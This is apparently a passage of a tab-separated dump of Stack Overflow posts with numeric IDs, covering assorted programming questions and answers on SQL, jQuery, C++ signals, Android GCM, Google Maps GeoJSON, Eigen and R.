39802637	0	 <pre><code>SELECT * FROM ticket_message ORDER BY created_at DESC LIMIT 5; </code></pre> <p>If the framework won't let you say that, the fie on them.</p> <p>(<code>GROUP BY</code> is not appropriate.)<br> (Subqueries are not required.)</p>
7602199	0	 <p>Did you try just triggering a click?</p> <pre><code>$('button.butter').click(); </code></pre>
4529350	0	 <p><a href="http://articles.sitepoint.com/article/ajax-jquery" rel="nofollow">Easy Ajax with jQuery</a></p> <p><strong>I also learned AJAX/jQuery step by step from this platform by postings different scenarios question. Here are my some questions that will be helpful for you also</strong></p> <ul> <li><p><a href="http://stackoverflow.com/questions/3326614/how-to-load-more-than-one-divs-using-ajax-json-combination-in-zend">How to load more than one DIVs using AJAX-JSON combination in zend?</a></p></li> <li><p><a href="http://stackoverflow.com/questions/3426276/ajax-how-to-replace-content-of-a-div-with-a-link-in-same-div">AJAX: How to replace content of a DIV with a link in same DIV ?</a></p></li> <li><p><a href="http://stackoverflow.com/questions/3429176/how-to-call-ajax-request-on-dropdown-change-event">How to call AJAX request on dropdown change event ?</a></p></li> <li><p><a href="http://stackoverflow.com/questions/3429858/how-to-pass-values-of-form-input-fields-to-a-script-using-ajax-jquery">How to pass values of form input fields to a script using AJAX/jQuery ?</a></p></li> <li><p><a href="http://stackoverflow.com/questions/3438123/how-to-submit-a-form-with-ajax-json">How to submit a form with AJAX/JSON ?</a></p></li> <li><p><a href="http://stackoverflow.com/questions/3272384/how-to-code-one-jquery-function-for-all-ajax-links">How to code one jquery function for all AJAX links.</a></p></li> </ul> <p>Some of these are zend framework specific but jQuery/AJAX part will be same for all cases.</p>
9926097	0	 <p>Main problems:</p> <p>Database variable should be private, and dont create new variable in constructor.</p> <pre><code>private ArrayList&lt;String&gt; Database; public MovieDatabase(){ this.Database = new ArrayList&lt;String&gt;(); } </code></pre> <p>Your search methods returns list, but doesn't have return statement. Return null, or init empty arraylist an return it. For example:</p> <pre><code> public ArrayList&lt;MovieEntry&gt; searchTitle(String substring){ ArrayList&lt;MovieEntry&gt; entries = new ArrayList&lt;MovieEntry&gt;(); for (String title : Database) System.out.println(title); return entries; } } </code></pre>
11869820	0	TSQL Passing a varchar variable of column name to SUM function <p>I need to write a procedure where I have to sum an unknown column name.</p> <p>The only information I have access to is the column position.</p> <p>I am able to get the column name using the following:</p> <pre><code> SELECT @colName = (SELECT column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='TABLENAME' AND ORDINAL_POSITION=@colNum) </code></pre> <p>I then have the following: </p> <pre><code> SELECT @sum = (SELECT SUM(@colName) FROM TABLENAME) </code></pre> <p>I then receive the following error: </p> <blockquote> <p><em>Operand data type varchar is invalid for sum operator</em></p> </blockquote> <p>I am confused about how to make this work. I have seen many posts on convert and cast, but I cannot cast to an float, numeric, etc because this is a name.</p> <p>I would appreciate any help.</p> <p>Thank you</p>
39832012	0	Does gcc use "LD_LIBARRY_PATH" when doing linking '-L'? <p>I've got libo.a file under current directory, I found I have to use '-L.' to make gcc able to find current directory's archive files.</p> <p>I know under linux/solaris, there's environment variable of "LD_LIBRARY_PATH" to specify shared_library path. I found it doesn't work with gcc when doing link, 'export LD_LIBRARY_PATH' cannot be used to replace '-L.'</p> <blockquote> <p>Question(1) Is this by design of gcc, that linker search path doesn't read from environment variable, but should be specified by command line options?</p> </blockquote> <p>More weird is, I did 'export LIBPATH=.', it doesn't work either, but if I add LIBPATH into a scons file:</p> <pre><code>Library('o.c') Program('n.c',LIBS=['o'],LIBPATH='.') </code></pre> <p>Then it works!</p> <blockquote> <p>Question(2) What is the difference between environment shell variable of 'LIBPATH', and the scons parameter of 'LIBPATH'. Does scons has an internal parameter named 'LIBPATH', which has nothing to do with shell environment?</p> </blockquote> <p>Thanks!</p>
19397143	0	actionscript 3 export data to XML <p>How do I export data from my SWF file to an XML file?</p> <p>For example if there are 10 players (dyna blaster style game) and you want to store the scores over a longer period of time in a Excel file. You have to have the game create an XML file first, I figured that out myself. But how to export the data to an XML file first?</p> <p>And also - is there a way to export the data from an swf file to mySQL on the server where my webSite is located ?</p>
36270761	0	 <p>AuditReaderFactory only has two static methods. Can you autowire a SessionFactory object or your EntityMananger? Looks like either would give you what you want, which is access to an AuditReader.</p> <pre><code>AuditReaderFactory.get(sessionFactory.getCurrentSession()) </code></pre> <p><strong>EDIT</strong> <a href="http://stackoverflow.com/questions/25063995/spring-boot-handle-to-hibernate-sessionfactory">this</a> post has some detail or wiring SessionFactory if needed</p>
24956706	0	use *this as std::shared_ptr <p>here is a "chess++" problem that I'm facing wright now with my nested class, although it may look like some joke, it's not a joke but real problem which I want to either solve or change the way to achieve the same thing in my project.</p> <pre><code>#include &lt;map&gt; #include &lt;memory&gt; #include &lt;iostream&gt; #include &lt;sigc++/signal.h&gt; class foo { public: struct bar; typedef sigc::signal&lt;void, std::shared_ptr&lt;bar&gt;&gt; a_signal; struct bar { bar() { some_signal.connect(sigc::mem_fun(*this, &amp;foo::bar::func)); } void notify() { some_signal.emit(this); // how to ?? } void func(std::shared_ptr&lt;foo::bar&gt; ptr) { std::cout &lt;&lt; "you haxor!" &lt;&lt; std::endl; // use the pointer ptr-&gt; } a_signal some_signal; }; std::map&lt;int, std::shared_ptr&lt;bar&gt;&gt; a_map; }; int main() { std::shared_ptr&lt;foo::bar&gt; a_foo_bar; foo foo_instance; foo_instance.a_map.insert(std::pair&lt;int, std::shared_ptr&lt;foo::bar&gt;&gt;(4, a_foo_bar)); foo_instance.a_map.at(0)-&gt;notify(); return 0; } </code></pre> <p>What I want to do here is to emit a signal. the signal is declared as one that triggers a handler that takes a shared_ptr as an argument. the function notify() should convert *this into shared_ptr, how do I do that to make the above code run?</p>
8266818	0	 <p>In iOS 5 you can use the UIAppearance protocol to set the appearance of all UINavigationBars in your app. Reference: <a href="http://developer.apple.com/library/IOs/#documentation/UIKit/Reference/UIAppearance_Protocol/Reference/Reference.html#//apple_ref/occ/intf/UIAppearance">link</a>.</p> <p>The way I got a solid color was to create a custom image for the navigation bar, and set it as UINavigationBars background. You might have to create the image with the same size as the UINavigationBar, at least that's what I did.</p> <p>In your app delegate, do something like this:</p> <pre><code>UIImage *image = [UIImage imageNamed:@"navbarbg.png"]; [[UINavigationBar appearance] setBackgroundImage:image forBarMetrics:UIBarMetricsDefault]; </code></pre> <p>You also have to add the <code>UIAppearanceContainer</code> protocol to the header file:</p> <pre><code>@interface AppDelegate : UIResponder &lt;UIApplicationDelegate, UIAppearanceContainer&gt; @end </code></pre> <p>You can probably achieve the same thing by setting some color or something, instead of an image. But I found this to be an easy solution.</p>
14373981	0	cloud foundry uploading error <p>Get the below error on doing <code>vmc push</code></p> <pre><code>Errno::EINVAL: Invalid argument - C:/DOCUME~1/lihengxu/LOCALS~1/Temp/.vmc_blog_files/E: C:/Ruby187/lib/ruby/1.8/fileutils.rb:243:in `mkdir' C:/Ruby187/lib/ruby/1.8/fileutils.rb:243:in `fu_mkdir' C:/Ruby187/lib/ruby/1.8/fileutils.rb:217:in `mkdir_p' C:/Ruby187/lib/ruby/1.8/fileutils.rb:215:in `reverse_each' C:/Ruby187/lib/ruby/1.8/fileutils.rb:215:in `mkdir_p' C:/Ruby187/lib/ruby/1.8/fileutils.rb:201:in `each' C:/Ruby187/lib/ruby/1.8/fileutils.rb:201:in `mkdir_p' cfoundry-0.4.19/lib/cfoundry/zip.rb:27:in `unpack' rubyzip-0.9.9/lib/zip/zip_entry_set.rb:35:in `each' rubyzip-0.9.9/lib/zip/zip_entry_set.rb:35:in `each' rubyzip-0.9.9/lib/zip/zip_central_directory.rb:109:in `each' rubyzip-0.9.9/lib/zip/zip_file.rb:132:in `foreach' rubyzip-0.9.9/lib/zip/zip_file.rb:90:in `open' rubyzip-0.9.9/lib/zip/zip_file.rb:131:in `foreach' cfoundry-0.4.19/lib/cfoundry/zip.rb:24:in `unpack' cfoundry-0.4.19/lib/cfoundry/upload_helpers.rb:58:in `prepare_package' cfoundry-0.4.19/lib/cfoundry/upload_helpers.rb:42:in `upload' vmc-0.4.7/lib/vmc/cli/app/push.rb:119:in `upload_app' interact-0.5.1/lib/interact/progress.rb:98:in `with_progress' vmc-0.4.7/lib/vmc/cli/app/push.rb:118:in `upload_app' vmc-0.4.7/lib/vmc/cli/app/push.rb:100:in `setup_new_app' vmc-0.4.7/lib/vmc/cli/app/push.rb:82:in `push' mothership-0.3.5/lib/mothership/base.rb:61:in `send' mothership-0.3.5/lib/mothership/base.rb:61:in `run' mothership-0.3.5/lib/mothership/command.rb:68:in `invoke' manifests-vmc-plugin-0.4.19/lib/manifests-vmc-plugin/plugin.rb:113:in `call' manifests-vmc-plugin-0.4.19/lib/manifests-vmc-plugin/plugin.rb:113 mothership-0.3.5/lib/mothership/callbacks.rb:74:in `with_filters' manifests-vmc-plugin-0.4.19/lib/manifests-vmc-plugin/plugin.rb:112 mothership-0.3.5/lib/mothership/command.rb:78:in `instance_exec' mothership-0.3.5/lib/mothership/command.rb:78:in `invoke' mothership-0.3.5/lib/mothership/command.rb:82:in `instance_exec' mothership-0.3.5/lib/mothership/command.rb:82:in `invoke' mothership-0.3.5/lib/mothership/base.rb:50:in `execute' vmc-0.4.7/lib/vmc/cli.rb:106:in `execute' mothership-0.3.5/lib/mothership.rb:45:in `start' vmc-0.4.7/bin/vmc:11 C:/Ruby187/bin/vmc:23:in `load' C:/Ruby187/bin/vmc:23 </code></pre>
27246620	0	Pass Array as parameter in DB2 Stored Procedure <p>I am trying to create a stored procedure which takes an array as a parameter and in the WHILE loop iterates through this array and adds the chars into a table.</p> <p>For example if I had an array of ['a','b','c'] I would want to pass this into my stored procedure and the characters 'a' , 'b' and 'c' to be placed into a table.</p> <p>My SP creates successfully, but I am having issues when I try to call my procedure. Can anybody point me towards how to pass in an array? My procedure is as follows....</p> <pre><code> DROP PROCEDURE DB.LWRH_DYNAMIC_SP@ create type stringArray as VARCHAR(100) array[100]@ CREATE PROCEDURE DB.LWRH_SP ( IN list stringArray ) LANGUAGE SQL BEGIN DECLARE i, MAX INTEGER; DECLARE c CHAR(1); SET i = 0; SET MAX = CARDINALITY(list); WHILE i &lt;= MAX DO SET c = list[i]; INSERT INTO schema.test ("SERVICE TYPE")values (c); END WHILE; END@ CALL DB.LWRH_SP('')@ </code></pre>
7431908	0	Wifi Device to Device Communication problem <p>I wrote a code in my application to enable Device to Device wifi Communication(transferring only a text/string).The code is same as the Apple's sample <strong>Witap</strong> Application which is downloaded from Developer.Apple.com.</p> <p>Its working in my network fine and another networks also.</p> <p>However its not working in my client site.</p> <p>I spent time at the Client site to sort out the issue with the Devices not communicating to each other and this is what I found. They in their security setup block peer to peer communication…" and my device communication is identified as peer to peer .</p> <p><strong>Is there any way to solve this problem Is there anything other than PEER 2 PEER wifi communication which apple supports?</strong></p> <p>Prototype WIFI applications Working Concepts</p> <hr> <p>There are mainly four classes in WiFi application named as AppController, Picker, BrowserViewController, TCP Server.</p> <p>When application loads the AppController class will initialize NSInputStraem and NSOutPut Stream.</p> <p>And also it will call “start” method from TcpServer class to set port number.</p> <p>After it will call “enableBounjourWithDomain” method from TcpServer class.</p> <p>The above method call with a parameter called as identifier (it is a common name eg:WiTap) and the sender part is searching devices with this common identifier.</p> <p>After the execution of this method the sender device can identify our device and able to connect.</p> <p>Getting Own Device Name</p> <hr> <p>Tcp serverServer delegate “DidEnabledBounjer” will work after the above code execution and it will give the current device name.</p> <p>Then NSNetservice delegate “didFindService” will work (it work when each service discovered) and retrieve the discovered service name.</p> <p>After getting the new service name we will check either it is same to our device name which we got from “DidEnabledBounjer” delegate.</p> <p>if not ,the new service name will add into a NSMutable array named as services.</p> <p>Then services array bind t o the Table view and we can see the list of discovered device names.</p> <p>discovering the new devices:</p> <hr> <p>No timer settings for discovering the new devices.</p> <p>When a new device is connected in the same WiFi net work the “DidFindservice” delegate will trigger(it is a NSNetservice delegate implemented in BrowserViewController class).</p> <p>DidFindservice will give the new device name .After getting it we will check either it is same to our device name witch we got from “DidEnabledBounjer” delegate.</p> <p>if not ,the service name will add into a NSMutable array named as services.</p> <p>Then sort all the discovered ;device names according to the Device name and reload the Table View.</p> <p>Working after selecting a device name from Table View</p> <hr> <p>After clicking device name on the TableView it will call “didSelectRowAtIndexPath” delegate which is implemented in BrowserViewController class( it is a TableView Class delegate) .</p> <p>It will select a NetService name from our services array(holds all the discovered services) according to the TableView index and set resultant NSService as Current Service.</p> <p>Trigger a delegate “didResolveInstance” and it will set the InPutStream and OutPutStream values.</p> <p>After get ting values for InPutStream and OutPutStream it will call “OpenStream” method to open the input and output Streams.</p> <p>Finally it release the NSService and Picker objects and ready to send messages with selected devices.</p> <p>Working of send Button</p> <hr> <p>Call “send “ function from BrowserViewController class with a string parameter .It may be user text input or generated string after speech recognition.</p> <p>Convert the input string as a uint_8 data type and send it to the receiver device.</p> <p>Receiver Side Working</p> <hr> <p>When a data came to receiver device the “TcpServerAcceptCallBack” delegate will trigger(implemented in TcpServer Class).</p> <p>It will call “DidAcceptConnectionForServer” method from BrowserViewControll calss through another TcpServer class delegate named “HandleNewConnectionFromAddress”.</p> <p>Trigger the “stream handle delegate” which is in “AppController “ class and it will check is there any bites available or not.</p> <p>If bytes are available convert the uint_8 type data to string and we are displaying the resultant string in receiver text box.</p> <p>And also loading images and displaying it in Image View from AppBundle using the resultant string.&lt; /p></p>
1491029	0	 <p><strong>First:</strong> I would really re-check your original code for the conditions, while its possible there is a bug in the query optimizer its more likely there was a bug on the expression used and it really didn't represent the below:</p> <blockquote> <p>var DesiredList = db.Things.Where(t=> condition1 || (!condition1 &amp;&amp; condition2));</p> <p>the problem is query optimizer seems to trim the expression to condition2 only.</p> </blockquote> <p>That should really give you the ones that match condition1 regardless of condition2 ... and ones that don't match condition1 and match condition2. Instead condition2 alone is not equivalent because that leaves out records that only match condition1. </p> <p>JS version of just (condition1 || condition2) is equivalent to the quoted expression above, as when u are matching condition1 you are already matching both condition2 and !condition2 so you are already including condition2 for both condition1 and !condition1 cases. If this doesn't match what you intended with the queries, is then clearer that's not an issue with the optimizer but with the original expressions.</p> <p>You would only need the full expressions if you were joining 2 results with a Concat instead of Union, as that would mean you would end up with results matching in both expressions ... and then you would have repeated results. But in contrast, the Where is evaluated per row, so you don't have those concerns in there.</p> <hr> <p><strong>Second:</strong> From the code sample, I think what you are facing is less direct of what you are going after in your question. You mentioned you are getting the first tag, but what you are really doing can be seen in this re-written version:</p> <pre><code>public static IQueryable&lt;BookTag&gt; UniqueByTags(this IQueryable&lt;BookTag&gt; bookTags, User user) { return bookTags.GroupBy(BT =&gt; BT.TagId) .Select(g =&gt; new BookTag() { User = g.Any(bt =&gt; bt.UserId == user.Id) ? user : g.First().User, Tag = g.First().Tag, Book = bookTags.First().Book }); } </code></pre> <p>What's mentioned in the comment seems more like:</p> <pre><code>public static IQueryable&lt;BookTag&gt; UniqueByTags(this IQueryable&lt;BookTag&gt; bookTags, User user) { return bookTags.GroupBy(BT =&gt; BT.TagId) .Select(g =&gt; g.Any(bt =&gt; bt.UserId == user.Id) ? g.First(bt=&gt;bt.UserId == user.Id) : g.First() ); } </code></pre>
39063011	0	gsap animation - import only one svg or multiple svgs <p>I would like to do "complex" animation with gsap and svgs. but I don't know what is the best approach to this. it is better to create and to import an unique svg with all the elements or maybe it is better 4 different svgs?</p> <p>I have 4 different characters: a tree, a lamp, a desk and a man. basically my animation is move the objects on the x, and appearing and to disappearing stuff.</p>
30731510	0	 <p>I have resolved the issue by calculating pinv from Eigen, instead of Armadillo. </p> <p>The function definition I used for Eigen, based on this bug report: <a href="http://eigen.tuxfamily.org/bz/show_bug.cgi?id=257" rel="nofollow">http://eigen.tuxfamily.org/bz/show_bug.cgi?id=257</a></p> <p>is: </p> <pre><code>template&lt;typename _Matrix_Type_&gt; Eigen::MatrixXd pinv(const _Matrix_Type_ &amp;a, double epsilon =std::numeric_limits&lt;double&gt;::epsilon()) { Eigen::JacobiSVD&lt; _Matrix_Type_ &gt; svd(a ,Eigen::ComputeThinU | Eigen::ComputeThinV); double tolerance = epsilon * std::max(a.cols(), a.rows()) *svd.singularValues().array().abs()(0); return svd.matrixV() * (svd.singularValues().array().abs() &gt; tolerance).select(svd.singularValues().array().inverse(), 0).matrix().asDiagonal() * svd.matrixU().adjoint(); } </code></pre>
20857325	0	Newtonsoft.Json.JsonSerializationException <pre><code> i'm trying to convert the json to C# objects by the statement var organizations = response.Content.ReadAsAsync&lt;IEnumerable&lt;Organization&gt;&gt;().Result; i found so many questions like the same what i'm facing now but i didn't found the proper answer may i know the reason for this exception Cannot deserialize the current JSON object (e.g. {"name":"value"}) into type 'System.Collections.Generic.IEnumerable `1[ConsoleApplication2.Organization]' because the type requires a JSON array (e. g. [1,2,3]) to deserialize correctly. To fix this error either change the JSON to a JSON array (e.g. [1,2,3]) or chang e the deserialized type so that it is a normal .NET type (e.g. not a primitive t ype like integer, not a collection type like an array or List&lt;T&gt;) that can be de serialized from a JSON object. JsonObjectAttribute can also be added to the type to force it to deserialize from a JSON object. </code></pre> <p>i'm trying to convert the json to C# objects by the statement i found so many questions like the same what i'm facing now but i didn't found the proper answer may i know the reason for this exception my Json is </p> <pre><code>{ </code></pre> <p>"code": 0, "message": "success", "organizations": [ { "organization_id": "10234695", "name": "Zillium Inc", "contact_name": "John Smith", "email": "johnsmith@zilliuminc.com", "is_default_org": false, "plan_type": 0, "tax_group_enabled": true, "plan_name": "TRIAL", "plan_period": "", "language_code": "en", "fiscal_year_start_month": 0, "account_created_date": "2012-02-18", "account_created_date_formatted": "18 Feb 2012", "time_zone": "Asia/Calcutta", "is_org_active": true, "currency_id": "460000000000097", "currency_code": "USD", "currency_symbol": "$", "currency_format": "###,##0.00", "price_precision": 2 }, { "organization_id": "10407630", "name": "Winston Longbridge", "contact_name": "John Smith", "email": "johnsmith@zilliuminc.com", "is_default_org": false, "plan_type": 0, "tax_group_enabled": true, "plan_name": "TRIAL", "plan_period": "", "language_code": "en", "fiscal_year_start_month": 0, "account_created_date": "2012-07-11", "account_created_date_formatted": "11 Jul 2012", "time_zone": "Asia/Calcutta", "is_org_active": true, "currency_id": "541000000000099", "currency_code": "INR", "currency_symbol": "Rs.", "currency_format": "###,##0.00", "price_precision": 2 } ] }</p>
22558607	0	 The exception that is generated when SQLite returns an error.
35227417	0	Custom GcmListenerService not working <p>This is my manifest file </p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;manifest xmlns:android="http://schemas.android.com/apk/res/android" package="be.customapp" &gt; &lt;uses-permission android:name="android.permission.INTERNET" /&gt; &lt;!-- GCM: keep device awake while receiving a notification --&gt; &lt;uses-permission android:name="android.permission.WAKE_LOCK"/&gt; &lt;!-- GCM: receive push notifications --&gt; &lt;permission android:name="be.customapp.permission.C2D_MESSAGE" android:protectionLevel="signature" /&gt; &lt;uses-permission android:name="be.customapp.permission.C2D_MESSAGE" /&gt; &lt;uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/&gt; &lt;application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" &gt; &lt;!-- Meta data --&gt; &lt;meta-data android:name="com.google.android.maps.v2.API_KEY" android:value="@string/google_maps_key"/&gt; &lt;!-- Activities --&gt; &lt;activity android:name=".ui.activities.MainActivity" android:label="@string/app_name" android:launchMode="singleTop" android:screenOrientation="portrait"&gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;!-- Services --&gt; &lt;service android:exported="false" android:name=".services.gcm.MyGcmListenerService"&gt; &lt;intent-filter&gt; &lt;action android:name="com.google.android.c2dm.intent.RECEIVE" /&gt; &lt;/intent-filter&gt; &lt;/service&gt; &lt;service android:exported="false" android:name=".services.gcm.GcmRegisterService"/&gt; &lt;service android:name=".services.gcm.MyInstanceIDListenerService" android:exported="false"&gt; &lt;intent-filter&gt; &lt;action android:name="com.google.android.gms.iid.InstanceID"/&gt; &lt;/intent-filter&gt; &lt;/service&gt; &lt;!-- Broadcastreceivers --&gt; &lt;receiver android:name="com.google.android.gms.gcm.GcmReceiver" android:exported="true" android:permission="com.google.android.c2dm.permission.SEND" &gt; &lt;intent-filter&gt; &lt;action android:name="com.google.android.c2dm.intent.REGISTRATION" /&gt; &lt;action android:name="com.google.android.c2dm.intent.RECEIVE" /&gt; &lt;category android:name="be.prior_it.evapp" /&gt; &lt;/intent-filter&gt; &lt;/receiver&gt; &lt;/application&gt; &lt;/manifest&gt; </code></pre> <p>And this is the service that gets/registers my registration id;</p> <pre><code>InstanceID instanceID = InstanceID.getInstance(this); String token = instanceID.getToken(getString(R.string.gcm_defaultSenderId), GoogleCloudMessaging.INSTANCE_ID_SCOPE, null); </code></pre> <p>MyGcmListenerService;</p> <pre><code>public class MyGcmListenerService extends GcmListenerService { @Override public void onMessageReceived(String from, Bundle data) { super.onMessageReceived(from, data); Log.i(Constants.LOG_TAG, "Got GCM message " + data.getString("message")); } } </code></pre> <p>The server uses PushJack and sends to the registration id's. I can see that the server can send the messages, I can get my registration id and register it with our server, but the onMessageReceived never gets called... I also made the google-services.json using the link on the website, so that should also be okay.</p> <p>Any or all ideas are welcome.</p>
8151662	0	TestNG enabled = false tests not showing as Skipped <p>We have a number of TestNG tests that are disabled due to functionality not yet being present (enabled = false), but when the test classes are executed the disabled tests do not show up as skipped in the TestNG report. We'd like to know at the time of execution how many tests are disabled (i.e. skipped). At the moment we have to count the occurrences of enabled = false in the test classes which is an overhead.</p> <p>Is there a different annotation to use or something else we are missing so that our test reports can display the number of disabled tests?</p>
16362186	0	 <p>Here is your validation simplified, and with the correct operation to check the length of the id.</p> <pre><code>if(empty($number)) { $msg = '&lt;span class="error"&gt; Please enter a value&lt;/span&gt;'; } else if(!is_numeric($number)) { $msg = '&lt;span class="error"&gt; Data entered was not numeric&lt;/span&gt;'; } else if(strlen($number) != 6) { $msg = '&lt;span class="error"&gt; The number entered was not 6 digits long&lt;/span&gt;'; } else { /* Success */ } </code></pre>
30565155	0	 <p>the question is a bit too broad. </p> <p>you have to step back and look at how source code in general ends up being executed (i.e. it is used). </p> <p>In case of some programming languages (e.g. C/C++) it's compiled to a native form and can be executed directly afterwards;</p> <p>In case of other languages it's compiled to an intermediate form (e.g. Java/C#) and executed by a vm (jvm/clr)</p> <p>In case of yet other languages is interpreted at runtime (e.g. Ruby/Python). </p> <p>So in the specific case of Ruby, you have the interpreter that loads the rb files and runs them. This can be in the context of standalone apps or in th e context of a web server, but you almost always have the interpreter making sense of the ruby files. you don't get an executable the same way as the you get for languages that are compiled to machine code.</p>
8804593	0	How to enable code coverage without using Visual Studio? <p>I have 80+ VS2010 solutions, each contains some unit test projects.<br> All solutions are merged into one big solution before build process.<br> All tests (or some test subset) are executed after the successful build.</p> <p>I want to enable test code coverage for all tests to get exact code coverage for all output assemblies.</p> <p>My question is: how to enable code coverage without using Visual Studio? </p> <p>Note: I'm using TFS2010 (MSBuild) to build merged solution. VS 2010 Premium is installed on the build server. MSTest is used for test execution. </p>
7593294	0	 <p>wirte this in your css <code>word-wrap:break-word;</code> css:</p> <pre><code>#id_div_comments p{ word-wrap:break-word; } </code></pre>
29228982	0	 <p>You can get the value using jQuery '.val()' function. <a href="https://api.jquery.com/val/" rel="nofollow">Jquery.fn.val()</a></p> <p>You can see how it works in the following example:</p> <p><a href="http://jsfiddle.net/uoL3s610/" rel="nofollow">http://jsfiddle.net/uoL3s610/</a></p> <pre><code>$(document).ready(function(){ $('[name="city"]').change(function(){ $('#selected_container').text($('[name="city"]').val()); }); }); </code></pre> <p>Or this example</p> <p><a href="http://jsfiddle.net/uoL3s610/1/" rel="nofollow">http://jsfiddle.net/uoL3s610/1/</a></p> <pre><code>$(document).ready(function(){ $('[name="city"]').change(function(){ $('#selected_container').text(''); $.each($('[name="city"]').val(),function(index,value){ $('#selected_container').text($('#selected_container').text() + ', ' + value) }); }); }); </code></pre>
22774115	0	Google Maps API data.setStyle not showing icons on map <p>I'm trying to create a little app using the Google Maps JS API. I'm using the data layer to load a bunch of points from a GeoJSON file. The file seems to be loading properly, and the map is displaying, but the icons that are set in the map.data.setstyle() won't show... </p> <p>Below is my HTML, CSS, and JS. I've been looking at this for 2 days, and I can't figure out what's going wrong. Thank you in advance!</p> <p>HTML</p> <pre><code>&lt;body&gt; &lt;div id="map-canvas"&gt;&lt;/div&gt; &lt;/body&gt; </code></pre> <p>CSS</p> <pre><code>html { height: 100% } body { height: 100%; margin: 0; padding: 0 } #map-canvas { height: 100% } </code></pre> <p>JS</p> <pre><code>$(document).ready(function() { var map; function initialize() { var mapOptions = { center: new google.maps.LatLng(37.000, -120.000), zoom: 7 }; map = new google.maps.Map(document.getElementById("map-canvas"), mapOptions); map.data.loadGeoJson('/map.json'); map.data.setStyle(function(feature) { var theaterName = feature.getProperty('name'); return { icon: "https://maps.gstatic.com/mapfiles/ms2/micons/marina.png", visible: true, clickable: true, title: theaterName }; }); } google.maps.event.addDomListener(window, 'load', initialize); }); </code></pre> <p>JSON</p> <pre><code>{ "type": "FeatureCollection", "features": [ { "type": "Feature", "properties": { "rentrak_id": "9183", "name": "Palm Theatre", "address": "817 Palm St, San Luis Obispo, CA"}, "geometry": { "type": "Point", "coordinates": [35.2815558, -120.6638196] } }, { "type": "Feature", "properties": { "rentrak_id": "8961", "name": "King City 3", "address": "200 Broadway St, King City, CA"}, "geometry": { "type": "Point", "coordinates": [36.21372, -121.1261771] } }, {"type": "Feature", "properties": { "rentrak_id": "5549", "name": "Van Buren 3 DI", "address": "3035 Van Buren Blvd, Riverside, CA"}, "geometry": { "type": "Point", "coordinates": [33.9113137, -117.4364228] }}, {"type": "Feature", "properties": { "rentrak_id": "990802", "name": "CGV Cinemas LA", "address": "621 S Western Ave, Los Angeles, CA"}, "geometry": { "type": "Point", "coordinates": [34.0626656, -118.3093961] }}, {"type": "Feature", "properties": { "rentrak_id": "5521", "name": "Rancho Niguel 7", "address": "25471 Rancho Niguel Rd, Laguna Niguel, CA"}, "geometry": { "type": "Point", "coordinates": [33.5560509, -117.68533] }}]} </code></pre> <p><strong>EDIT::</strong></p> <p>So, my script is working when I use this file: <a href="http://earthquake.usgs.gov/earthquakes/feed/geojsonp/2.5/week" rel="nofollow">http://earthquake.usgs.gov/earthquakes/feed/geojsonp/2.5/week</a> </p> <p>Which makes me think there is something wrong with my local json file... However when I step through the javascript, I can look at each feature and check for the properties and geometries, and they seem to be correctly loaded into the google.maps.feature objects. So, I still have no idea why the points wouldn't be showing up.</p>
16743471	0	 <p>Thomas's answer is much better than any of the three approaches I tried. Here I compare the four approaches with <code>microbenchmark</code>. I have not yet tried Thomas's answer with the actual data. My original nested for-loops approach is still running after 22 hours.</p> <pre><code>Unit: milliseconds expr min lq median uq max neval fn.1(x, weights) 98.69133 99.47574 100.5313 101.7315 108.8757 20 fn.2(x, weights) 755.51583 758.12175 762.3775 776.0558 801.9615 20 fn.3(x, weights) 564.21423 567.98822 568.5322 571.0975 575.1809 20 fn.4(x, weights) 367.05862 370.52657 371.7439 373.7367 395.0423 20 ######################################################################################### # create data set.seed(1234) n.rows &lt;- 40 n.cols &lt;- 40 n.sample &lt;- n.rows * n.cols x &lt;- sample(20, n.sample, replace=TRUE) x.NA &lt;- sample(n.rows*n.cols, 10*(n.sample / n.rows), replace=FALSE) x[x.NA] &lt;- NA x &lt;- as.data.frame(matrix(x, nrow = n.rows)) weights &lt;- sample(4, n.sample, replace=TRUE) weights &lt;- as.data.frame(matrix(weights, nrow = n.rows)) weights ######################################################################################### # Thomas's function fn.1 &lt;- function(x, weights){ newx &lt;- reshape(x, direction="long", varying = list(seq(1,(n.cols-1),2), seq(2,n.cols,2)), v.names=c("v1", "v2")) newwt &lt;- reshape(weights, direction="long", varying = list(seq(1,(n.cols-1),2), seq(2,n.cols,2)), v.names=c("w1", "w2")) condwtmean &lt;- function(x,y,wtx,wty){ if(xor(is.na(x),is.na(y))){ if(is.na(x)) x &lt;- (y / wty) * wtx # replacement function if(is.na(y)) y &lt;- (x / wtx) * wty # replacement function return(weighted.mean(c(x,y),c(wtx,wty))) } else if(!is.na(x) &amp; !is.na(y)) return(weighted.mean(c(x,y),c(wtx,wty))) else return(NA) } newx$wtmean &lt;- mapply(condwtmean, newx$v1, newx$v2, newwt$w1, newwt$w2) newx2 &lt;- reshape(newx[,c(1,4:5)], v.names = "wtmean", timevar = "time", direction = "wide") newx2 &lt;- newx2[,2:(n.cols/2+1)] names(newx2) &lt;- paste('X', 1:(n.cols/2), sep = "") return(newx2) } fn.1.output &lt;- fn.1(x, weights) ######################################################################################### # nested for-loops with 4 if statements fn.2 &lt;- function(x, weights){ for(i in 1: (ncol(x)/2)) { for(j in 1: nrow(x)) { if( is.na(x[j,(1 + (i-1)*2)]) &amp; !is.na(x[j,(1 + (i-1)*2 + 1)])) x[j,(1 + (i-1)*2 + 0)] = (x[j,(1 + ((i-1)*2 + 1))] / weights[j,(1 + ((i-1)*2 + 1))]) * weights[j,(1 + (i-1)*2 + 0)] if(!is.na(x[j,(1 + (i-1)*2)]) &amp; is.na(x[j,(1 + (i-1)*2 + 1)])) x[j,(1 + (i-1)*2 + 1)] = (x[j,(1 + ((i-1)*2 + 0))] / weights[j,(1 + ((i-1)*2 + 0))]) * weights[j,(1 + (i-1)*2 + 1)] if( is.na(x[j,(1 + (i-1)*2)]) &amp; is.na(x[j,(1 + (i-1)*2 + 1)])) x[j,(1 + (i-1)*2 + 0)] = NA if( is.na(x[j,(1 + (i-1)*2)]) &amp; is.na(x[j,(1 + (i-1)*2 + 1)])) x[j,(1 + (i-1)*2 + 1)] = NA } } x.weights = x * weights numerator &lt;- 